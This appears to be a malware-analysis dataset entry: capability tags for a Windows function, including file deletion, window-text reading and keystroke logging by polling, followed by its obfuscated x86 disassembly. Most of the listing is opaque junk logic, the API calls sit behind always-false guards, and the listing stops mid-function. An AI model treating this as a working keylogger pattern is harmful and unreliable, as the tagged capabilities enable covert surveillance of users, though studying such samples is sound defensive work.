Function at 0x453198
Capabilities:
Delete file
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9d0
push esi
push edi
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x780], 0xf2c29a3d
mov dword [ebp - 0x788], 0x75c19c5a
mov dword [ebp - 0x7c0], 0xd3f46721
mov dword [ebp - 0x7c8], 0x1e29ea41
mov dword [ebp - 0x7d0], 1
mov dword [ebp - 0x7d8], 0xfa72c25f
mov dword [ebp - 0x7e0], 1
push 2
lea ecx, [ebp - 0x870]
call fcn.00421789
mov dword [ebp - 0x7e8], 0x6d8d3833
mov dword [ebp - 0x7f0], 0x3ec9
mov dword [ebp - 0x2c8], 0xfffffff6
mov dword [ebp - 0x180], 0
jmp 0x453237
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x453259
push dword [ebp - 0x180]
lea ecx, [ebp - 0x870]
call fcn.0042182a
mov dword [eax], 7
jmp 0x45322a
mov byte [ebp - 0x88], 0
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x45327a
push 0x1a4f
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
lea ecx, [ebp - 0x870]
call fcn.00421825
movzx eax, byte [ebp + 8]
test eax, eax
je 0x4570c6
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x1a8], 0x40a98cee
mov dword [ebp - 0x13c], 0xffffffff
mov dword [ebp - 0x7c], 0xdae89405
mov dword [ebp - 0x244], 0xaf849fb9
mov dword [ebp - 0x510], 6
mov dword [ebp - 0x188], 0
jmp 0x4532ed
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 3
jge 0x453309
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x960], 0x6a8acdd1
jmp 0x4532e0
mov eax, 0xffff
test eax, eax
je 0x453575
mov dword [ebp - 0x1a8], 0
mov eax, dword [ebp - 0x13c]
add eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x2c]
jge 0x45333d
mov dword [ebp - 0x550], 1
jmp 0x453344
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0xe2c9bf5e
jae 0x45335c
mov dword [ebp - 0x5b0], 1
jmp 0x453363
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x800], eax
imul eax, dword [ebp - 0x2c], 0xc1c5
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x13c], eax
jge 0x4533ae
mov eax, 0x419c2b2e
test eax, eax
je 0x4533ae
cmp dword [ebp - 0x13c], 0
je 0x4533ae
mov dword [ebp - 0x558], 1
jmp 0x4533b5
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x558], eax
jg 0x4533cc
mov dword [ebp - 0x560], 1
jmp 0x4533d3
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x560]
cmp eax, dword [ebp - 0x2c]
jl 0x4533ee
mov dword [ebp - 0x568], 1
jmp 0x4533f5
and dword [ebp - 0x568], 0
cmp dword [ebp - 0x568], 0
jge 0x45340b
xor eax, eax
jne 0x45340b
and dword [ebp - 0x570], 0
jmp 0x453415
mov dword [ebp - 0x570], 1
cmp dword [ebp - 0x570], 0
je 0x45342a
mov dword [ebp - 0x574], 1
jmp 0x453431
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x7c]
jne 0x45344b
mov dword [ebp - 0x224], 1
jmp 0x453452
and dword [ebp - 0x224], 0
cmp dword [ebp - 0x224], 0
je 0x453467
mov dword [ebp - 0x4f0], 1
jmp 0x45346e
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x4f0]
imul eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x2c]
jge 0x45348c
mov dword [ebp - 0x22c], 1
jmp 0x453493
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 0xea37
je 0x4534ab
mov dword [ebp - 0x4f8], 1
jmp 0x4534b2
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x4f8]
jl 0x4534c9
mov dword [ebp - 0x234], 1
jmp 0x4534d0
and dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x234], eax
jge 0x4534e7
mov dword [ebp - 0x500], 1
jmp 0x4534ee
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x500], eax
jne 0x453505
mov dword [ebp - 0x23c], 1
jmp 0x45350c
and dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x23c], eax
jg 0x453523
mov dword [ebp - 0x610], 1
jmp 0x45352a
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x2c], 0xa32987c8
jae 0x45353f
mov dword [ebp - 0x508], 1
jmp 0x453546
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x508]
neg eax
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
je 0x453575
mov dword [ebp - 0x24c], 1
jmp 0x45357c
and dword [ebp - 0x24c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x24c]
mov dword [ebp + eax - 0x960], ecx
lea eax, [ebp + 0x14]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x618]
movzx eax, byte [eax]
test eax, eax
je 0x456736
push 3
lea ecx, [ebp - 0xf4]
call fcn.00421789
mov dword [ebp - 0x100], 0
jmp 0x4535ce
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 3
jge 0x4535f0
push dword [ebp - 0x100]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov dword [eax], 0xe387fb0b
jmp 0x4535c1
push 1
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp dword [eax], 0
je 0x45372b
mov dword [ebp - 0x254], 0xaa165420
mov dword [ebp - 0x160], 0
jmp 0x453629
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 4
jge 0x453645
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x924], 0xdee21afa
jmp 0x45361c
or eax, 0xffffffff
je 0x4536a7
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x924]
cmp dword [ebp + eax - 0x924], ecx
je 0x453671
mov dword [ebp - 0x518], 1
jmp 0x453678
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x254], eax
mov esi, dword [ebp - 0x254]
push 2
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp dword [eax], esi
jl 0x4536a7
mov dword [ebp - 0x520], 1
jmp 0x4536ae
and dword [ebp - 0x520], 0
cmp dword [ebp - 0x520], 3
jae 0x4536c3
mov dword [ebp - 0x620], 1
jmp 0x4536ca
and dword [ebp - 0x620], 0
push 0
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp dword [eax], 0x9dce
jg 0x4536eb
mov dword [ebp - 0x25c], 1
jmp 0x4536f2
and dword [ebp - 0x25c], 0
cmp dword [ebp - 0x25c], 0xfffc
je 0x45370a
mov dword [ebp - 0x528], 1
jmp 0x453711
and dword [ebp - 0x528], 0
push 1
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov ecx, dword [ebp - 0x528]
mov dword [eax], ecx
jmp 0x453a2f
mov dword [ebp - 0x198], 1
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x190], 1
mov dword [ebp - 0x18c], 1
push 2
lea ecx, [ebp - 0x738]
call fcn.00421789
mov dword [ebp - 0x26c], 0xfffffff7
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x54], 0
jmp 0x453784
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4537a0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x738]
call fcn.0042182a
mov dword [eax], 0xfffffff7
jmp 0x45377d
mov dword [ebp - 0x54], 0
jmp 0x4537b0
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4537c6
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x6e4], 0xfffffffc
jmp 0x4537a9
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x198], 0
jmp 0x4537f4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x198]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x198], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x198], 2
jg 0x453967
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp dword [eax], 0
je 0x45382a
jmp 0x453967
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp dword [eax], 0
jl 0x453853
mov dword [ebp - 0x538], 1
jmp 0x45385a
and dword [ebp - 0x538], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x198], 0
jne 0x4538b3
push 1
lea ecx, [ebp - 0x738]
call fcn.0042182a
mov dword [ebp - 0x264], eax
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov ecx, dword [ebp - 0x264]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x264]
cmp dword [eax], 0
jne 0x4538b3
and dword [ebp - 0x530], 0
jmp 0x4538bd
mov dword [ebp - 0x530], 1
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov esi, dword [ebp - 0x530]
imul esi, dword [eax]
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp esi, dword [eax]
jne 0x453906
mov dword [ebp - 0x634], 1
jmp 0x45390d
and dword [ebp - 0x634], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov ecx, 0x43b9c309
sub ecx, dword [eax]
mov dword [ebp - 0x26c], ecx
mov esi, dword [ebp - 0x26c]
add esi, dword [ebp - 0x538]
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x198]
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov dword [eax], esi
mov dword [ebp - 0x274], 0xfffffff7
jmp 0x4537d9
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x198]
push 2
lea ecx, [ebp - 0xf4]
call fcn.0042182a
cmp esi, dword [eax]
je 0x453991
mov dword [ebp - 0x63c], 1
jmp 0x453998
and dword [ebp - 0x63c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e4]
mov dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x540], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x540]
mov dword [ebp + eax - 0x198], ecx
cmp dword [ebp - 0x540], 1
jg 0x4539df
mov dword [ebp - 0x548], 1
jmp 0x4539e6
and dword [ebp - 0x548], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6e4]
cmp dword [ebp - 0x548], eax
jge 0x453a07
mov dword [ebp - 0x280], 1
jmp 0x453a0e
and dword [ebp - 0x280], 0
imul esi, dword [ebp - 0x280], 0
push 1
lea ecx, [ebp - 0xf4]
call fcn.0042182a
mov dword [eax], esi
lea ecx, [ebp - 0x738]
call fcn.00421825
lea ecx, [ebp - 0xf4]
call fcn.00421825
mov dword [ebp - 0x810], 0
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x453a5e
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x453a82
push 0x12a8
push 0
push 0x20d0
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x50], 0x822e6e7f
mov dword [ebp - 0x818], 0x971867b8
mov dword [ebp - 0x820], 2
mov dword [ebp - 0x6c], 0xcc2fdcba
mov dword [ebp - 0x828], 0x7c9d5fac
mov dword [ebp - 0x40c], 0xfffffffd
mov dword [ebp - 0x6a0], 0x391cb4e7
mov dword [ebp - 0x524], 0xfffffffe
mov dword [ebp - 0x830], 0xdade
mov dword [ebp - 0x838], 0xfffffff7
mov dword [ebp - 0x840], 0xc1d10227
mov dword [ebp - 0x654], 0xf72b5725
mov dword [ebp - 0x848], 0x9694d2b5
mov dword [ebp - 0x644], 0xadb82134
mov dword [ebp - 0x850], 0x41ce3cb5
mov dword [ebp - 0x858], 1
mov dword [ebp - 0x860], 0x932e3ca3
mov dword [ebp - 0x8cc], 0xfffffff6
mov dword [ebp - 0x64c], 0xdb39523d
mov dword [ebp - 0x8d4], 0x40a98cee
mov dword [ebp - 0x414], 0xb32e2659
mov dword [ebp - 0x108], 0xee91b76
mov dword [ebp - 0x8dc], 0xffffffff
mov dword [ebp - 0x8e4], 0xc9bf5e4d
push 2
lea ecx, [ebp - 0x1a4]
call fcn.00421789
mov dword [ebp - 0x904], 0x1f6657ee
mov dword [ebp - 0x754], 0xd402
mov dword [ebp - 0x41c], 0x70105c65
mov dword [ebp - 0x14], 0
jmp 0x453bb1
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x453bc7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x980], 0
jmp 0x453baa
mov dword [ebp - 0x14], 0
jmp 0x453bd7
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x453bf3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov dword [eax], 0x25fc1c57
jmp 0x453bd0
mov dword [ebp - 0x14], 0
jmp 0x453c03
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x453c19
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6dc], 0xfffffff7
jmp 0x453bfc
cmp dword [ebp - 0x1e0], 0x558bac04
jge 0x453c31
mov dword [ebp - 0x28c], 1
jmp 0x453c38
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x40c], 0
je 0x453c62
cmp dword [ebp - 0x414], 0
je 0x453c62
mov dword [ebp - 0x404], 1
jmp 0x453c69
and dword [ebp - 0x404], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6dc]
inc eax
mov dword [ebp - 0x284], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x284]
mov dword [ebp + eax - 0x6dc], ecx
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0x404]
jle 0x453caa
mov dword [ebp - 0x4c4], 1
jmp 0x453cb1
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x28c]
cmp eax, dword [ebp - 0x4c4]
jle 0x453ccb
mov dword [ebp - 0x294], 1
jmp 0x453cd2
and dword [ebp - 0x294], 0
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x294]
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x50], 0
jmp 0x453cf4
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jg 0x453eda
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov eax, dword [eax]
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x6c], 1
jmp 0x453d24
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x453ed5
mov dword [ebp - 0x108], 1
jmp 0x453d47
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x453d66
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov dword [eax], 0xfffffffe
jmp 0x453d3a
imul esi, dword [ebp - 0x40c], 0x4440
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
cmp esi, dword [eax]
jge 0x453d8e
mov dword [ebp - 0x29c], 1
jmp 0x453d95
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x524], eax
mov esi, dword [ebp - 0x524]
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov edi, dword [eax]
add edi, esi
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
imul edi, dword [eax]
cmp edi, 0xd92
jge 0x453dde
mov dword [ebp - 0x2a4], 1
jmp 0x453de5
and dword [ebp - 0x2a4], 0
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov ecx, dword [ebp - 0x2a4]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x654]
jl 0x453e15
cmp dword [ebp - 0x414], 0
jne 0x453e15
and dword [ebp - 0x2ac], 0
jmp 0x453e1f
mov dword [ebp - 0x2ac], 1
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov ecx, dword [ebp - 0x2ac]
imul ecx, dword [eax]
cmp ecx, 5
jne 0x453e47
mov dword [ebp - 0x4cc], 1
jmp 0x453e4e
and dword [ebp - 0x4cc], 0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov ecx, dword [ebp - 0x4cc]
cmp ecx, dword [eax]
jne 0x453e72
mov dword [ebp - 0x2b4], 1
jmp 0x453e79
and dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x41c], eax
mov esi, dword [ebp - 0x41c]
neg esi
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
cmp dword [eax], esi
jne 0x453eb4
cmp dword [ebp - 0x6a0], 0
je 0x453eb4
mov dword [ebp - 0x2bc], 1
jmp 0x453ebb
and dword [ebp - 0x2bc], 0
push 1
lea ecx, [ebp - 0x1a4]
call fcn.0042182a
mov ecx, dword [ebp - 0x2bc]
mov dword [eax], ecx
jmp 0x453d1d
jmp 0x453ced
lea ecx, [ebp - 0x1a4]
call fcn.00421825
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x94], 0
jmp 0x453f0f
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jle 0x453f43
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x453f41
push 0
push 0x2037
push 0x213b
push 0x1f33
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
jmp 0x453f02
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x36c], 0x26fbd10c
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x2c4], 0x26fbd10c
mov dword [ebp - 0x5b8], 0
mov dword [ebp - 0x168], 0
jmp 0x453f8d
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 4
jge 0x453fa9
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x934], 0x841b3c69
jmp 0x453f80
mov dword [ebp - 0x18], 0
jmp 0x453fb9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x454189
mov dword [ebp - 0x9c], 0x4392f209
mov dword [ebp - 0x1e8], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x934], 0
je 0x454075
cmp dword [ebp - 0x18], 1
jle 0x453ffa
mov dword [ebp - 0x554], 1
jmp 0x454001
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x554], eax
jge 0x454018
mov dword [ebp - 0x69c], 1
jmp 0x45401f
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x75c], eax
mov dword [ebp - 0x2c4], 0xdd5d
cmp dword [ebp - 0x2c4], 6
jg 0x45404b
push 8
pop eax
test eax, eax
jne 0x45404b
and dword [ebp - 0x424], 0
jmp 0x454055
mov dword [ebp - 0x424], 1
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x424]
cmp eax, 0xa40f
jge 0x454075
mov dword [ebp - 0x2cc], 1
jmp 0x45407c
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x2cc]
cmp eax, 0x30f8
je 0x454099
mov dword [ebp - 0x4d4], 1
jmp 0x4540a0
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x1e8]
je 0x4540c9
mov eax, 0xfffa
test eax, eax
jne 0x4540c9
and dword [ebp - 0x608], 0
jmp 0x4540d3
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x8c4], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1e8]
cmp dword [ebp + eax*4 - 0x934], ecx
jg 0x4540fa
mov dword [ebp - 0x2d4], 1
jmp 0x454101
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x1e8]
add eax, dword [ebp - 0x2d4]
cmp eax, 0xc28c
jne 0x454120
mov dword [ebp - 0x42c], 1
jmp 0x454127
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x9c], 3
jmp 0x45414c
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jl 0x454184
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x454182
push 0x10bb
push 0
push 0
push 0x197d
push 0
push 0x8e6
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x45413f
jmp 0x453fb2
mov dword [ebp - 0x68c], 0
push 4
lea ecx, [ebp - 0xe8]
call fcn.00421789
mov dword [ebp - 0x110], 0xa1e94870
mov dword [ebp - 0x2f4], 2
mov dword [ebp - 0x48], 0
jmp 0x4541c4
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x4541da
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x664], 1
jmp 0x4541bd
mov dword [ebp - 0x48], 0
jmp 0x4541ea
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jge 0x454206
push dword [ebp - 0x48]
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov dword [eax], 0xca4f833f
jmp 0x4541e3
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov dword [eax], 2
jmp 0x45423f
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp - 0x2dc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2dc]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
cmp dword [eax], 0
jl 0x45428a
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov esi, dword [eax]
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov eax, dword [eax]
mov ecx, dword [ebp + esi*4 - 0x664]
mov dword [ebp + eax*4 - 0x664], ecx
cmp dword [ebp - 0x110], 0
je 0x454288
jmp 0x45421b
jmp 0x45421b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x664], 0
ja 0x4542a6
mov dword [ebp - 0x52c], 1
jmp 0x4542ad
and dword [ebp - 0x52c], 0
imul esi, dword [ebp - 0x52c], 0xa08e
push 2
lea ecx, [ebp - 0xe8]
call fcn.0042182a
cmp esi, dword [eax]
jne 0x4542d4
mov dword [ebp - 0x5e0], 1
jmp 0x4542db
and dword [ebp - 0x5e0], 0
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x664], 1
jae 0x45430d
cmp dword [ebp - 0x2f4], 0
je 0x45430d
mov dword [ebp - 0x2e4], 1
jmp 0x454314
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x110]
imul eax, dword [ebp - 0x2e4]
add eax, 0x11082d9a
jne 0x454343
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
cmp dword [eax], 0
jne 0x454343
and dword [ebp - 0x434], 0
jmp 0x45434d
mov dword [ebp - 0x434], 1
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x434]
cmp eax, 0xdfbc43c
jle 0x45436c
mov dword [ebp - 0x2ec], 1
jmp 0x454373
and dword [ebp - 0x2ec], 0
push 0
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov eax, dword [eax]
cmp eax, dword [ebp - 0x2ec]
jne 0x454396
mov dword [ebp - 0x1f0], 1
jmp 0x45439d
and dword [ebp - 0x1f0], 0
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov ecx, dword [ebp - 0x1f0]
mov dword [eax], ecx
cmp dword [ebp - 0x1f0], 0
je 0x45452e
mov dword [ebp - 0xd8], 0xba1d
mov dword [ebp - 0x4e4], 1
mov dword [ebp - 0x5c4], 0xfffffff7
cmp dword [ebp - 0xd8], 0x23782ecc
je 0x4543f5
mov dword [ebp - 0x1f8], 1
jmp 0x4543fc
and dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xd8], eax
jle 0x454422
mov dword [ebp - 0x4dc], 1
jmp 0x454429
and dword [ebp - 0x4dc], 0
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov ecx, dword [ebp - 0x1f8]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x664]
imul eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x1f8], eax
jle 0x454466
mov dword [ebp - 0x43c], 1
jmp 0x45446d
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x2f4]
sub eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x43c]
cmp eax, dword [ebp - 0xd8]
jle 0x454494
mov dword [ebp - 0x2fc], 1
jmp 0x45449b
and dword [ebp - 0x2fc], 0
cmp dword [ebp - 0x2fc], 0x1f230b56
jl 0x4544b3
mov dword [ebp - 0x56c], 1
jmp 0x4544ba
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x5ee8
je 0x4544d2
mov dword [ebp - 0x304], 1
jmp 0x4544d9
and dword [ebp - 0x304], 0
cmp dword [ebp - 0x304], 0xffffffff
je 0x4544ee
mov dword [ebp - 0x444], 1
jmp 0x4544f5
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0x86ae
je 0x45450d
mov dword [ebp - 0x30c], 1
jmp 0x454514
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x5c4], eax
jmp 0x454562
mov dword [ebp - 0x694], 9
mov dword [ebp - 0x694], 0xfffffffe
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov esi, eax
push 3
lea ecx, [ebp - 0xe8]
call fcn.0042182a
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0xe8]
call fcn.00421825
mov dword [ebp - 0x170], 0
jmp 0x454586
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 4
jge 0x4545a2
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x944], 0x841b3c69
jmp 0x454579
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x44c], 0x26fbd10c
mov dword [ebp - 0x5d4], 0
mov dword [ebp - 0x178], 0
jmp 0x4545d6
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 4
jge 0x4545f2
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x954], 0x841b3c69
jmp 0x4545c9
mov dword [ebp - 0x1c], 0
jmp 0x454602
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x4547cc
